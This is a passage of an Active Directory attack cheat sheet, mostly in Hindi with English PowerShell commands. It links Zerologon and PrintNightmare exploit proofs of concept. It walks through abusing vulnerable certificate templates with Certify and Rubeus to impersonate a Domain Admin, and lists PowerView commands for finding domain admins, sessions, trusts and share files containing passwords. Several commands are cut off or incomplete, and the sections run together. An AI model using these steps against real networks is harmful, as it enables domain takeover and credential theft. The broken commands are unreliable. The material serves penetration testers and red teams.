- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): Zerologon शोषण का PowerShell कार्यान्वयन।
- [Zer0Dump](https://github.com/bb00/zer0dump): impacket लाइब्रेरी का उपयोग करके Zerologon शोषण का Python कार्यान्वयन।
### PrintNightmare
- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): भेद्यता विवरण।
- [Impacket implementation of PrintNightmare](https://github.com/cube0x0/CVE-2021-1675): impacket लाइब्रेरी का उपयोग करके PrintNightmare का विश्वसनीय PoC।
- [C# Implementation of CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): C# में लिखा गया PrintNightmare का विश्वसनीय PoC।
### सक्रिय निर्देशिका प्रमाणपत्र सेवाएँ
**असुरक्षित प्रमाणपत्र टेम्पलेट्स की जाँच करें:** [Certify](https://github.com/GhostPack/Certify)
_नोट: Certify को Cobalt Strike के `execute-assembly` कमांड के साथ भी निष्पादित किया जा सकता है_```powershell
.\Certify.exe find /vulnerable /quiet
सुनिश्चित करें कि msPKI-Certificates-Name-Flag मान "ENROLLEE_SUPPLIES_SUBJECT" पर सेट है और Enrollment Rights Domain/Authenticated Users को अनुमति देते हैं। इसके अतिरिक्त, जाँच करें कि pkiextendedkeyusage पैरामीटर में "Client Authentication" मान है और साथ ही "Authorized Signatures Required" पैरामीटर 0 पर सेट है।
यह एक्सप्लॉइट केवल इसलिए काम करता है क्योंकि ये सेटिंग्स सर्वर/क्लाइंट प्रमाणीकरण सक्षम करती हैं, जिसका अर्थ है कि एक हमलावर Domain Admin ("DA") का UPN निर्दिष्ट कर सकता है और प्राप्त प्रमाणपत्र का उपयोग Rubeus के साथ प्रमाणीकरण जाली बनाने के लिए कर सकता है।
नोट: यदि कोई Domain Admin Protected Users समूह में है, तो एक्सप्लॉइट इच्छानुसार काम नहीं कर सकता है। लक्ष्य के लिए DA चुनने से पहले जाँच करें।
Certify के साथ DA के खाता प्रमाणपत्र का अनुरोध करें```powershell .\Certify.exe request /template:
Enum समूह और समूह सदस्य: ```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
#Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName
#Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName
#Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
#Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
शेयरों की सूची बनाएं: ```powershell #Enumerate Domain Shares Find-DomainShare
#Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess
#Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include passwords
समूह नीतियों की गणना: ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
#Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName
#Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName
गणना करें OUs: ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name
ACLs की गणना करें: ```powershell
Get-DomainObjectAcl -Identity -ResolveGUIDs
#Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share"
गणना डोमेन ट्रस्ट: ```powershell Get-DomainTrust Get-DomainTrust -Domain
#Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping
Enum Forest Trust: ```powershell Get-ForestDomain Get-ForestDomain -Forest
#Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest
उपयोगकर्ता शिकार: ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose
#Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose
#Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName
#Confirming admin access Test-AdminAccess